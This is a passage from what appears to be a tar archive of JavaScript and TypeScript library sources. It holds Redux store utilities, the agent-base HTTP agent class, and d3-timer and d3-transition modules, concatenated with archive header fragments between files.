that lets you read the state, dispatch actions * and subscribe to changes. */ export const legacy_createStore = createStore combineReducers.js000064400000013637151677322210010233 0ustar00import ActionTypes from './utils/actionTypes' import warning from './utils/warning' import isPlainObject from './utils/isPlainObject' import { kindOf } from './utils/kindOf' function getUnexpectedStateShapeWarningMessage( inputState, reducers, action, unexpectedKeyCache ) { const reducerKeys = Object.keys(reducers) const argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer' if (reducerKeys.length === 0) { return ( 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.' ) } if (!isPlainObject(inputState)) { return ( `The ${argumentName} has unexpected type of "${kindOf( inputState )}". Expected argument to be an object with the following ` + `keys: "${reducerKeys.join('", "')}"` ) } const unexpectedKeys = Object.keys(inputState).filter( (key) => !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key] ) unexpectedKeys.forEach((key) => { unexpectedKeyCache[key] = true }) if (action && action.type === ActionTypes.REPLACE) return if (unexpectedKeys.length > 0) { return ( `Unexpected ${unexpectedKeys.length > 1 ? 'keys' : 'key'} ` + `"${unexpectedKeys.join('", "')}" found in ${argumentName}. ` + `Expected to find one of the known reducer keys instead: ` + `"${reducerKeys.join('", "')}". Unexpected keys will be ignored.` ) } } function assertReducerShape(reducers) { Object.keys(reducers).forEach((key) => { const reducer = reducers[key] const initialState = reducer(undefined, { type: ActionTypes.INIT }) if (typeof initialState === 'undefined') { throw new Error( `The slice reducer for key "${key}" returned undefined during initialization. ` + `If the state passed to the reducer is undefined, you must ` + `explicitly return the initial state. The initial state may ` + `not be undefined. If you don't want to set a value for this reducer, ` + `you can use null instead of undefined.` ) } if ( typeof reducer(undefined, { type: ActionTypes.PROBE_UNKNOWN_ACTION(), }) === 'undefined' ) { throw new Error( `The slice reducer for key "${key}" returned undefined when probed with a random type. ` + `Don't try to handle '${ActionTypes.INIT}' or other actions in "redux/*" ` + `namespace. They are considered private. Instead, you must return the ` + `current state for any unknown actions, unless it is undefined, ` + `in which case you must return the initial state, regardless of the ` + `action type. The initial state may not be undefined, but can be null.` ) } }) } /** * Turns an object whose values are different reducer functions, into a single * reducer function. It will call every child reducer, and gather their results * into a single state object, whose keys correspond to the keys of the passed * reducer functions. * * @param {Object} reducers An object whose values correspond to different * reducer functions that need to be combined into one. One handy way to obtain * it is to use ES6 `import * as reducers` syntax. The reducers may never return * undefined for any action. Instead, they should return their initial state * if the state passed to them was undefined, and the current state for any * unrecognized action. * * @returns {Function} A reducer function that invokes every reducer inside the * passed object, and builds a state object with the same shape. */ export default function combineReducers(reducers) { const reducerKeys = Object.keys(reducers) const finalReducers = {} for (let i = 0; i < reducerKeys.length; i++) { const key = reducerKeys[i] if (process.env.NODE_ENV !== 'production') { if (typeof reducers[key] === 'undefined') { warning(`No reducer provided for key "${key}"`) } } if (typeof reducers[key] === 'function') { finalReducers[key] = reducers[key] } } const finalReducerKeys = Object.keys(finalReducers) // This is used to make sure we don't warn about the same // keys multiple times. let unexpectedKeyCache if (process.env.NODE_ENV !== 'production') { unexpectedKeyCache = {} } let shapeAssertionError try { assertReducerShape(finalReducers) } catch (e) { shapeAssertionError = e } return function combination(state = {}, action) { if (shapeAssertionError) { throw shapeAssertionError } if (process.env.NODE_ENV !== 'production') { const warningMessage = getUnexpectedStateShapeWarningMessage( state, finalReducers, action, unexpectedKeyCache ) if (warningMessage) { warning(warningMessage) } } let hasChanged = false const nextState = {} for (let i = 0; i < finalReducerKeys.length; i++) { const key = finalReducerKeys[i] const reducer = finalReducers[key] const previousStateForKey = state[key] const nextStateForKey = reducer(previousStateForKey, action) if (typeof nextStateForKey === 'undefined') { const actionType = action && action.type throw new Error( `When called with an action of type ${ actionType ? `"${String(actionType)}"` : '(unknown type)' }, the slice reducer for key "${key}" returned undefined. ` + `To ignore an action, you must explicitly return the previous state. ` + `If you want this reducer to hold no value, you can return null instead of undefined.` ) } nextState[key] = nextStateForKey hasChanged = hasChanged || nextStateForKey !== previousStateForKey } hasChanged = hasChanged || finalReducerKeys.length !== Object.keys(state).length return hasChanged ? nextState : state } } applyMiddleware.js000064400000002522151677322210010234 0ustar00import compose from './compose' /** * Creates a store enhancer that applies middleware to the dispatch method * of the Redux store. This is handy for a variety of tasks, such as expressing * asynchronous actions in a concise manner, or logging every action payload. * * See `redux-thunk` package as an example of the Redux middleware. * * Because middleware is potentially asynchronous, this should be the first * store enhancer in the composition chain. * * Note that each middleware will be given the `dispatch` and `getState` functions * as named arguments. * * @param {...Function} middlewares The middleware chain to be applied. * @returns {Function} A store enhancer applying the middleware. */ export default function applyMiddleware(...middlewares) { return (createStore) => (...args) => { const store = createStore(...args) let dispatch = () => { throw new Error( 'Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.' ) } const middlewareAPI = { getState: store.getState, dispatch: (...args) => dispatch(...args), } const chain = middlewares.map((middleware) => middleware(middlewareAPI)) dispatch = compose(...chain)(store.dispatch) return { ...store, dispatch, } } } utils/symbol-observable.js000064400000000230151677322210011672 0ustar00// Inlined version of the `symbol-observable` polyfill export default (() => (typeof Symbol === 'function' && Symbol.observable) || '@@observable')() utils/isPlainObject.js000064400000000610151677322210010773 0ustar00/** * @param {any} obj The object to inspect. * @returns {boolean} True if the argument appears to be a plain object. */ export default function isPlainObject(obj) { if (typeof obj !== 'object' || obj === null) return false let proto = obj while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto) } return Object.getPrototypeOf(obj) === proto } utils/warning.js000064400000001133151677322210007713 0ustar00/** * Prints a warning in the console if it exists. * * @param {String} message The warning message. * @returns {void} */ export default function warning(message) { /* eslint-disable no-console */ if (typeof console !== 'undefined' && typeof console.error === 'function') { console.error(message) } /* eslint-enable no-console */ try { // This error was thrown as a convenience so that if you enable // "break on all exceptions" in your console, // it would pause the execution at this line. throw new Error(message) } catch (e) {} // eslint-disable-line no-empty } utils/actionTypes.js000064400000001071151677322210010551 0ustar00/** * These are private action types reserved by Redux. * For any unknown actions, you must return the current state. * If the current state is undefined, you must return the initial state. * Do not reference these action types directly in your code. */ const randomString = () => Math.random().toString(36).substring(7).split('').join('.') const ActionTypes = { INIT: `@@redux/INIT${randomString()}`, REPLACE: `@@redux/REPLACE${randomString()}`, PROBE_UNKNOWN_ACTION: () => `@@redux/PROBE_UNKNOWN_ACTION${randomString()}`, } export default ActionTypes utils/kindOf.js000064400000002712151677322210007464 0ustar00// Inlined / shortened version of `kindOf` from https://github.com/jonschlinkert/kind-of function miniKindOf(val) { if (val === void 0) return 'undefined' if (val === null) return 'null' const type = typeof val switch (type) { case 'boolean': case 'string': case 'number': case 'symbol': case 'function': { return type } default: break } if (Array.isArray(val)) return 'array' if (isDate(val)) return 'date' if (isError(val)) return 'error' const constructorName = ctorName(val) switch (constructorName) { case 'Symbol': case 'Promise': case 'WeakMap': case 'WeakSet': case 'Map': case 'Set': return constructorName default: break } // other return type.slice(8, -1).toLowerCase().replace(/\s/g, '') } function ctorName(val) { return typeof val.constructor === 'function' ? val.constructor.name : null } function isError(val) { return ( val instanceof Error || (typeof val.message === 'string' && val.constructor && typeof val.constructor.stackTraceLimit === 'number') ) } function isDate(val) { if (val instanceof Date) return true return ( typeof val.toDateString === 'function' && typeof val.getDate === 'function' && typeof val.setDate === 'function' ) } export function kindOf(val) { let typeOfVal = typeof val if (process.env.NODE_ENV !== 'production') { typeOfVal = miniKindOf(val) } return typeOfVal } utils/formatProdErrorMessage.js000064400000001046151677322210012705 0ustar00/** * Adapted from React: https://github.com/facebook/react/blob/master/packages/shared/formatProdErrorMessage.js * * Do not require this module directly! Use normal throw error calls. These messages will be replaced with error codes * during build. * @param {number} code */ function formatProdErrorMessage(code) { return ( `Minified Redux error #${code}; visit https://redux.js.org/Errors?code=${code} for the full message or ` + 'use the non-minified dev environment for full errors. ' ) } export default formatProdErrorMessage bindActionCreators.js000064400000003646151677322210010676 0ustar00import { kindOf } from './utils/kindOf' function bindActionCreator(actionCreator, dispatch) { return function () { return dispatch(actionCreator.apply(this, arguments)) } } /** * Turns an object whose values are action creators, into an object with the * same keys, but with every function wrapped into a `dispatch` call so they * may be invoked directly. This is just a convenience method, as you can call * `store.dispatch(MyActionCreators.doSomething())` yourself just fine. * * For convenience, you can also pass an action creator as the first argument, * and get a dispatch wrapped function in return. * * @param {Function|Object} actionCreators An object whose values are action * creator functions. One handy way to obtain it is to use ES6 `import * as` * syntax. You may also pass a single function. * * @param {Function} dispatch The `dispatch` function available on your Redux * store. * * @returns {Function|Object} The object mimicking the original object, but with * every action creator wrapped into the `dispatch` call. If you passed a * function as `actionCreators`, the return value will also be a single * function. */ export default function bindActionCreators(actionCreators, dispatch) { if (typeof actionCreators === 'function') { return bindActionCreator(actionCreators, dispatch) } if (typeof actionCreators !== 'object' || actionCreators === null) { throw new Error( `bindActionCreators expected an object or a function, but instead received: '${kindOf( actionCreators )}'. ` + `Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?` ) } const boundActionCreators = {} for (const key in actionCreators) { const actionCreator = actionCreators[key] if (typeof actionCreator === 'function') { boundActionCreators[key] = bindActionCreator(actionCreator, dispatch) } } return boundActionCreators } compose.js000064400000001216151677322210006555 0ustar00/** * Composes single-argument functions from right to left. The rightmost * function can take multiple arguments as it provides the signature for * the resulting composite function. * * @param {...Function} funcs The functions to compose. * @returns {Function} A function obtained by composing the argument functions * from right to left. For example, compose(f, g, h) is identical to doing * (...args) => f(g(h(...args))). */ export default function compose(...funcs) { if (funcs.length === 0) { return (arg) => arg } if (funcs.length === 1) { return funcs[0] } return funcs.reduce((a, b) => (...args) => a(b(...args))) } index.ts000064400000021472151677324220006242 0ustar00import net from 'net'; import http from 'http'; import https from 'https'; import { Duplex } from 'stream'; import { EventEmitter } from 'events'; import createDebug from 'debug'; import promisify from './promisify'; const debug = createDebug('agent-base'); function isAgent(v: any): v is createAgent.AgentLike { return Boolean(v) && typeof v.addRequest === 'function'; } function isSecureEndpoint(): boolean { const { stack } = new Error(); if (typeof stack !== 'string') return false; return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1); } function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent; function createAgent( callback: createAgent.AgentCallback, opts?: createAgent.AgentOptions ): createAgent.Agent; function createAgent( callback?: createAgent.AgentCallback | createAgent.AgentOptions, opts?: createAgent.AgentOptions ) { return new createAgent.Agent(callback, opts); } namespace createAgent { export interface ClientRequest extends http.ClientRequest { _last?: boolean; _hadError?: boolean; method: string; } export interface AgentRequestOptions { host?: string; path?: string; // `port` on `http.RequestOptions` can be a string or undefined, // but `net.TcpNetConnectOpts` expects only a number port: number; } export interface HttpRequestOptions extends AgentRequestOptions, Omit<http.RequestOptions, keyof AgentRequestOptions> { secureEndpoint: false; } export interface HttpsRequestOptions extends AgentRequestOptions, Omit<https.RequestOptions, keyof AgentRequestOptions> { secureEndpoint: true; } export type RequestOptions = HttpRequestOptions | HttpsRequestOptions; export type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent; export type AgentCallbackReturn = Duplex | AgentLike; export type AgentCallbackCallback = ( err?: Error | null, socket?: createAgent.AgentCallbackReturn ) => void; export type AgentCallbackPromise = ( req: createAgent.ClientRequest, opts: createAgent.RequestOptions ) => | createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>; export type AgentCallback = typeof Agent.prototype.callback; export type AgentOptions = { timeout?: number; }; /** * Base `http.Agent` implementation. * No pooling/keep-alive is implemented by default. * * @param {Function} callback * @api public */ export class Agent extends EventEmitter { public timeout: number | null; public maxFreeSockets: number; public maxTotalSockets: number; public maxSockets: number; public sockets: { [key: string]: net.Socket[]; }; public freeSockets: { [key: string]: net.Socket[]; }; public requests: { [key: string]: http.IncomingMessage[]; }; public options: https.AgentOptions; private promisifiedCallback?: createAgent.AgentCallbackPromise; private explicitDefaultPort?: number; private explicitProtocol?: string; constructor( callback?: createAgent.AgentCallback | createAgent.AgentOptions, _opts?: createAgent.AgentOptions ) { super(); let opts = _opts; if (typeof callback === 'function') { this.callback = callback; } else if (callback) { opts = callback; } // Timeout for the socket to be returned from the callback this.timeout = null; if (opts && typeof opts.timeout === 'number') { this.timeout = opts.timeout; } // These aren't actually used by `agent-base`, but are required // for the TypeScript definition files in `@types/node` :/ this.maxFreeSockets = 1; this.maxSockets = 1; this.maxTotalSockets = Infinity; this.sockets = {}; this.freeSockets = {}; this.requests = {}; this.options = {}; } get defaultPort(): number { if (typeof this.explicitDefaultPort === 'number') { return this.explicitDefaultPort; } return isSecureEndpoint() ? 443 : 80; } set defaultPort(v: number) { this.explicitDefaultPort = v; } get protocol(): string { if (typeof this.explicitProtocol === 'string') { return this.explicitProtocol; } return isSecureEndpoint() ? 'https:' : 'http:'; } set protocol(v: string) { this.explicitProtocol = v; } callback( req: createAgent.ClientRequest, opts: createAgent.RequestOptions, fn: createAgent.AgentCallbackCallback ): void; callback( req: createAgent.ClientRequest, opts: createAgent.RequestOptions ): | createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>; callback( req: createAgent.ClientRequest, opts: createAgent.AgentOptions, fn?: createAgent.AgentCallbackCallback ): | createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn> | void { throw new Error( '"agent-base" has no default implementation, you must subclass and override `callback()`' ); } /** * Called by node-core's "_http_client.js" module when creating * a new HTTP request with this Agent instance. * * @api public */ addRequest(req: ClientRequest, _opts: RequestOptions): void { const opts: RequestOptions = { ..._opts }; if (typeof opts.secureEndpoint !== 'boolean') { opts.secureEndpoint = isSecureEndpoint(); } if (opts.host == null) { opts.host = 'localhost'; } if (opts.port == null) { opts.port = opts.secureEndpoint ? 443 : 80; } if (opts.protocol == null) { opts.protocol = opts.secureEndpoint ? 'https:' : 'http:'; } if (opts.host && opts.path) { // If both a `host` and `path` are specified then it's most // likely the result of a `url.parse()` call... we need to // remove the `path` portion so that `net.connect()` doesn't // attempt to open that as a unix socket file. delete opts.path; } delete opts.agent; delete opts.hostname; delete opts._defaultAgent; delete opts.defaultPort; delete opts.createConnection; // Hint to use "Connection: close" // XXX: non-documented `http` module API :( req._last = true; req.shouldKeepAlive = false; let timedOut = false; let timeoutId: ReturnType<typeof setTimeout> | null = null; const timeoutMs = opts.timeout || this.timeout; const onerror = (err: NodeJS.ErrnoException) => { if (req._hadError) return; req.emit('error', err); // For Safety. Some additional errors might fire later on // and we need to make sure we don't double-fire the error event. req._hadError = true; }; const ontimeout = () => { timeoutId = null; timedOut = true; const err: NodeJS.ErrnoException = new Error( `A "socket" was not created for HTTP request before ${timeoutMs}ms` ); err.code = 'ETIMEOUT'; onerror(err); }; const callbackError = (err: NodeJS.ErrnoException) => { if (timedOut) return; if (timeoutId !== null) { clearTimeout(timeoutId); timeoutId = null; } onerror(err); }; const onsocket = (socket: AgentCallbackReturn) => { if (timedOut) return; if (timeoutId != null) { clearTimeout(timeoutId); timeoutId = null; } if (isAgent(socket)) { // `socket` is actually an `http.Agent` instance, so // relinquish responsibility for this `req` to the Agent // from here on debug( 'Callback returned another Agent instance %o', socket.constructor.name ); (socket as createAgent.Agent).addRequest(req, opts); return; } if (socket) { socket.once('free', () => { this.freeSocket(socket as net.Socket, opts); }); req.onSocket(socket as net.Socket); return; } const err = new Error( `no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\`` ); onerror(err); }; if (typeof this.callback !== 'function') { onerror(new Error('`callback` is not defined')); return; } if (!this.promisifiedCallback) { if (this.callback.length >= 3) { debug('Converting legacy callback function to promise'); this.promisifiedCallback = promisify(this.callback); } else { this.promisifiedCallback = this.callback; } } if (typeof timeoutMs === 'number' && timeoutMs > 0) { timeoutId = setTimeout(ontimeout, timeoutMs); } if ('port' in opts && typeof opts.port !== 'number') { opts.port = Number(opts.port); } try { debug( 'Resolving socket for %o request: %o', opts.protocol, `${req.method} ${req.path}` ); Promise.resolve(this.promisifiedCallback(req, opts)).then( onsocket, callbackError ); } catch (err) { Promise.reject(err).catch(callbackError); } } freeSocket(socket: net.Socket, opts: AgentOptions) { debug('Freeing socket %o %o', socket.constructor.name, opts); socket.destroy(); } destroy() { debug('Destroying agent %o', this.constructor.name); } } // So that `instanceof` works correctly createAgent.prototype = createAgent.Agent.prototype; } export = createAgent; promisify.ts000064400000001211151677324220007141 0ustar00import { Agent, ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise, AgentCallbackReturn } from './index'; type LegacyCallback = ( req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback ) => void; export default function promisify(fn: LegacyCallback): AgentCallbackPromise { return function(this: Agent, req: ClientRequest, opts: RequestOptions) { return new Promise((resolve, reject) => { fn.call( this, req, opts, (err: Error | null | undefined, rtn?: AgentCallbackReturn) => { if (err) { reject(err); } else { resolve(rtn); } } ); }); }; } interval.js000064400000000635151677326020006743 0ustar00import {Timer, now} from "./timer"; export default function(callback, delay, time) { var t = new Timer, total = delay; if (delay == null) return t.restart(callback, delay, time), t; delay = +delay, time = time == null ? now() : +time; t.restart(function tick(elapsed) { elapsed += total; t.restart(tick, total += delay, time); callback(elapsed); }, delay, time); return t; } timer.js000064400000005707151677326020006244 0ustar00var frame = 0, // is an animation frame pending? timeout = 0, // is a timeout pending? interval = 0, // are any timers active? pokeDelay = 1000, // how frequently we check for clock skew taskHead, taskTail, clockLast = 0, clockNow = 0, clockSkew = 0, clock = typeof performance === "object" && performance.now ? performance : Date, setFrame = typeof window === "object" && window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : function(f) { setTimeout(f, 17); }; export function now() { return clockNow || (setFrame(clearNow), clockNow = clock.now() + clockSkew); } function clearNow() { clockNow = 0; } export function Timer() { this._call = this._time = this._next = null; } Timer.prototype = timer.prototype = { constructor: Timer, restart: function(callback, delay, time) { if (typeof callback !== "function") throw new TypeError("callback is not a function"); time = (time == null ? now() : +time) + (delay == null ? 0 : +delay); if (!this._next && taskTail !== this) { if (taskTail) taskTail._next = this; else taskHead = this; taskTail = this; } this._call = callback; this._time = time; sleep(); }, stop: function() { if (this._call) { this._call = null; this._time = Infinity; sleep(); } } }; export function timer(callback, delay, time) { var t = new Timer; t.restart(callback, delay, time); return t; } export function timerFlush() { now(); // Get the current time, if not already set. ++frame; // Pretend we’ve set an alarm, if we haven’t already. var t = taskHead, e; while (t) { if ((e = clockNow - t._time) >= 0) t._call.call(null, e); t = t._next; } --frame; } function wake() { clockNow = (clockLast = clock.now()) + clockSkew; frame = timeout = 0; try { timerFlush(); } finally { frame = 0; nap(); clockNow = 0; } } function poke() { var now = clock.now(), delay = now - clockLast; if (delay > pokeDelay) clockSkew -= delay, clockLast = now; } function nap() { var t0, t1 = taskHead, t2, time = Infinity; while (t1) { if (t1._call) { if (time > t1._time) time = t1._time; t0 = t1, t1 = t1._next; } else { t2 = t1._next, t1._next = null; t1 = t0 ? t0._next = t2 : taskHead = t2; } } taskTail = t0; sleep(time); } function sleep(time) { if (frame) return; // Soonest alarm already set, or will be. if (timeout) timeout = clearTimeout(timeout); var delay = time - clockNow; // Strictly less than if we recomputed clockNow. if (delay > 24) { if (time < Infinity) timeout = setTimeout(wake, time - clock.now() - clockSkew); if (interval) interval = clearInterval(interval); } else { if (!interval) clockLast = clock.now(), interval = setInterval(poke, pokeDelay); frame = 1, setFrame(wake); } } timeout.js000064400000000405151677326020006600 0ustar00import {Timer} from "./timer"; export default function(callback, delay, time) { var t = new Timer; delay = delay == null ? 0 : +delay; t.restart(function(elapsed) { t.stop(); callback(elapsed + delay); }, delay, time); return t; } active.js000064400000000771151677352420006376 0ustar00import {Transition} from "./transition/index"; import {SCHEDULED} from "./transition/schedule"; var root = [null]; export default function(node, name) { var schedules = node.__transition, schedule, i; if (schedules) { name = name == null ? null : name + ""; for (i in schedules) { if ((schedule = schedules[i]).state > SCHEDULED && schedule.name === name) { return new Transition([[node]], root, name, +i); } } } return null; } transition/text.js000064400000000755151677352420010303 0ustar00import {tweenValue} from "./tween"; function textConstant(value) { return function() { this.textContent = value; }; } function textFunction(value) { return function() { var value1 = value(this); this.textContent = value1 == null ? "" : value1; }; } export default function(value) { return this.tween("text", typeof value === "function" ? textFunction(tweenValue(this, "text", value)) : textConstant(value == null ? "" : value + "")); } transition/ease.js000064400000000554151677352420010231 0ustar00import {get, set} from "./schedule"; function easeConstant(id, value) { if (typeof value !== "function") throw new Error; return function() { set(this, id).ease = value; }; } export default function(value) { var id = this._id; return arguments.length ? this.each(easeConstant(id, value)) : get(this.node(), id).ease; } transition/schedule.js000064400000011445151677352420011111 0ustar00import {dispatch} from "d3-dispatch"; import {timer, timeout} from "d3-timer"; var emptyOn = dispatch("start", "end", "interrupt"); var emptyTween = []; export var CREATED = 0; export var SCHEDULED = 1; export var STARTING = 2; export var STARTED = 3; export var RUNNING = 4; export var ENDING = 5; export var ENDED = 6; export default function(node, name, id, index, group, timing) { var schedules = node.__transition; if (!schedules) node.__transition = {}; else if (id in schedules) return; create(node, id, { name: name, index: index, // For context during callback. group: group, // For context during callback. on: emptyOn, tween: emptyTween, time: timing.time, delay: timing.delay, duration: timing.duration, ease: timing.ease, timer: null, state: CREATED }); } export function init(node, id) { var schedule = get(node, id); if (schedule.state > CREATED) throw new Error("too late; already scheduled"); return schedule; } export function set(node, id) { var schedule = get(node, id); if (schedule.state > STARTING) throw new Error("too late; already started"); return schedule; } export function get(node, id) { var schedule = node.__transition; if (!schedule || !(schedule = schedule[id])) throw new Error("transition not found"); return schedule; } function create(node, id, self) { var schedules = node.__transition, tween; // Initialize the self timer when the transition is created. // Note the actual delay is not known until the first callback! schedules[id] = self; self.timer = timer(schedule, 0, self.time); function schedule(elapsed) { self.state = SCHEDULED; self.timer.restart(start, self.delay, self.time); // If the elapsed delay is less than our first sleep, start immediately. if (self.delay <= elapsed) start(elapsed - self.delay); } function start(elapsed) { var i, j, n, o; // If the state is not SCHEDULED, then we previously errored on start. if (self.state !== SCHEDULED) return stop(); for (i in schedules) { o = schedules[i]; if (o.name !== self.name) continue; // While this element already has a starting transition during this frame, // defer starting an interrupting transition until that transition has a // chance to tick (and possibly end); see d3/d3-transition#54! if (o.state === STARTED) return timeout(start); // Interrupt the active transition, if any. // Dispatch the interrupt event. if (o.state === RUNNING) { o.state = ENDED; o.timer.stop(); o.on.call("interrupt", node, node.__data__, o.index, o.group); delete schedules[i]; } // Cancel any pre-empted transitions. No interrupt event is dispatched // because the cancelled transitions never started. Note that this also // removes this transition from the pending list! else if (+i < id) { o.state = ENDED; o.timer.stop(); delete schedules[i]; } } // Defer the first tick to end of the current frame; see d3/d3#1576. // Note the transition may be canceled after start and before the first tick! // Note this must be scheduled before the start event; see d3/d3-transition#16! // Assuming this is successful, subsequent callbacks go straight to tick. timeout(function() { if (self.state === STARTED) { self.state = RUNNING; self.timer.restart(tick, self.delay, self.time); tick(elapsed); } }); // Dispatch the start event. // Note this must be done before the tween are initialized. self.state = STARTING; self.on.call("start", node, node.__data__, self.index, self.group); if (self.state !== STARTING) return; // interrupted self.state = STARTED; // Initialize the tween, deleting null tween. tween = new Array(n = self.tween.length); for (i = 0, j = -1; i < n; ++i) { if (o = self.tween[i].value.call(node, node.__data__, self.index, self.group)) { tween[++j] = o; } } tween.length = j + 1; } function tick(elapsed) { var t = elapsed < self.duration ? self.ease.call(null, elapsed / self.duration) : (self.timer.restart(stop), self.state = ENDING, 1), i = -1, n = tween.length; while (++i < n) { tween[i].call(null, t); } // Dispatch the end event. if (self.state === ENDING) { self.on.call("end", node, node.__data__, self.index, self.group); stop(); } } function stop() { self.state = ENDED; self.timer.stop(); delete schedules[id]; for (var i in schedules) return; // eslint-disable-line no-unused-vars delete node.__transition; } } transition/attrTween.js000064400000001650151677352420011267 0ustar00import {namespace} from "d3-selection"; function attrTweenNS(fullname, value) { function tween() { var node = this, i = value.apply(node, arguments); return i && function(t) { node.setAttributeNS(fullname.space, fullname.local, i(t)); }; } tween._value = value; return tween; } function attrTween(name, value) { function tween() { var node = this, i = value.apply(node, arguments); return i && function(t) { node.setAttribute(name, i(t)); }; } tween._value = value; return tween; } export default function(name, value) { var key = "attr." + name; if (arguments.length < 2) return (key = this.tween(key)) && key._value; if (value == null) return this.tween(key, null); if (typeof value !== "function") throw new Error; var fullname = namespace(name); return this.tween(key, (fullname.local ? attrTweenNS : attrTween)(fullname, value)); } transition/filter.js000064400000001116151677352420010574 0ustar00import {matcher} from "d3-selection"; import {Transition} from "./index"; export default function(match) { if (typeof match !== "function") match = matcher(match); for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) { if ((node = group[i]) && match.call(node, node.__data__, i, group)) { subgroup.push(node); } } } return new Transition(subgroups, this._parents, this._name, this._id); } transition/transition.js000064400000001313151677352420011500 0ustar00import {Transition, newId} from "./index"; import schedule, {get} from "./schedule"; export default function() { var name = this._name, id0 = this._id, id1 = newId(); for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) { for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { if (node = group[i]) { var inherit = get(node, id0); schedule(node, name, id1, i, group, { time: inherit.time + inherit.delay + inherit.duration, delay: 0, duration: inherit.duration, ease: inherit.ease }); } } } return new Transition(groups, this._parents, name, id1); } transition/attr.js000064400000004770151677352420010272 0ustar00import {interpolateTransformSvg as interpolateTransform} from "d3-interpolate"; import {namespace} from "d3-selection"; import {tweenValue} from "./tween"; import interpolate from "./interpolate"; function attrRemove(name) { return function() { this.removeAttribute(name); }; } function attrRemoveNS(fullname) { return function() { this.removeAttributeNS(fullname.space, fullname.local); }; } function attrConstant(name, interpolate, value1) { var value00, interpolate0; return function() { var value0 = this.getAttribute(name); return value0 === value1 ? null : value0 === value00 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value1); }; } function attrConstantNS(fullname, interpolate, value1) { var value00, interpolate0; return function() { var value0 = this.getAttributeNS(fullname.space, fullname.local); return value0 === value1 ? null : value0 === value00 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value1); }; } function attrFunction(name, interpolate, value) { var value00, value10, interpolate0; return function() { var value0, value1 = value(this); if (value1 == null) return void this.removeAttribute(name); value0 = this.getAttribute(name); return value0 === value1 ? null : value0 === value00 && value1 === value10 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value10 = value1); }; } function attrFunctionNS(fullname, interpolate, value) { var value00, value10, interpolate0; return function() { var value0, value1 = value(this); if (value1 == null) return void this.removeAttributeNS(fullname.space, fullname.local); value0 = this.getAttributeNS(fullname.space, fullname.local); return value0 === value1 ? null : value0 === value00 && value1 === value10 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value10 = value1); }; } export default function(name, value) { var fullname = namespace(name), i = fullname === "transform" ? interpolateTransform : interpolate; return this.attrTween(name, typeof value === "function" ? (fullname.local ? attrFunctionNS : attrFunction)(fullname, i, tweenValue(this, "attr." + name, value)) : value == null ? (fullname.local ? attrRemoveNS : attrRemove)(fullname) : (fullname.local ? attrConstantNS : attrConstant)(fullname, i, value + "")); } transition/remove.js000064400000000447151677352420010612 0ustar00function removeFunction(id) { return function() { var parent = this.parentNode; for (var i in this.__transition) if (+i !== id) return; if (parent) parent.removeChild(this); }; } export default function() { return this.on("end.remove", removeFunction(this._id)); } transition/select.js000064400000001520151677352420010565 0ustar00import {selector} from "d3-selection"; import {Transition} from "./index"; import schedule, {get} from "./schedule"; export default function(select) { var name = this._name, id = this._id; if (typeof select !== "function") select = selector(select); for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) { if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) { if ("__data__" in node) subnode.__data__ = node.__data__; subgroup[i] = subnode; schedule(subgroup[i], name, id, i, subgroup, get(node, id)); } } } return new Transition(subgroups, this._parents, name, id); } transition/index.js000064400000003644151677352420010426 0ustar00import {selection} from "d3-selection"; import transition_attr from "./attr"; import transition_attrTween from "./attrTween"; import transition_delay from "./delay"; import transition_duration from "./duration"; import transition_ease from "./ease"; import transition_filter from "./filter"; import transition_merge from "./merge"; import transition_on from "./on"; import transition_remove from "./remove"; import transition_select from "./select"; import transition_selectAll from "./selectAll"; import transition_selection from "./selection"; import transition_style from "./style"; import transition_styleTween from "./styleTween"; import transition_text from "./text"; import transition_transition from "./transition"; import transition_tween from "./tween"; var id = 0; export function Transition(groups, parents, name, id) { this._groups = groups; this._parents = parents; this._name = name; this._id = id; } export default function transition(name) { return selection().transition(name); } export function newId() { return ++id; } var selection_prototype = selection.prototype; Transition.prototype = transition.prototype = { constructor: Transition, select: transition_select, selectAll: transition_selectAll, filter: transition_filter, merge: transition_merge, selection: transition_selection, transition: transition_transition, call: selection_prototype.call, nodes: selection_prototype.nodes, node: selection_prototype.node, size: selection_prototype.size, empty: selection_prototype.empty, each: selection_prototype.each, on: transition_on, attr: transition_attr, attrTween: transition_attrTween, style: transition_style, styleTween: transition_styleTween, text: transition_text, remove: transition_remove, tween: transition_tween, delay: transition_delay, duration: transition_duration, ease: transition_ease }; transition/selectAll.js000064400000001615151677352420011223 0ustar00import {selectorAll} from "d3-selection"; import {Transition} from "./index"; import schedule, {get} from "./schedule"; export default function(select) { var name = this._name, id = this._id; if (typeof select !== "function") select = selectorAll(select); for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) { for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { if (node = group[i]) { for (var children = select.call(node, node.__data__, i, group), child, inherit = get(node, id), k = 0, l = children.length; k < l; ++k) { if (child = 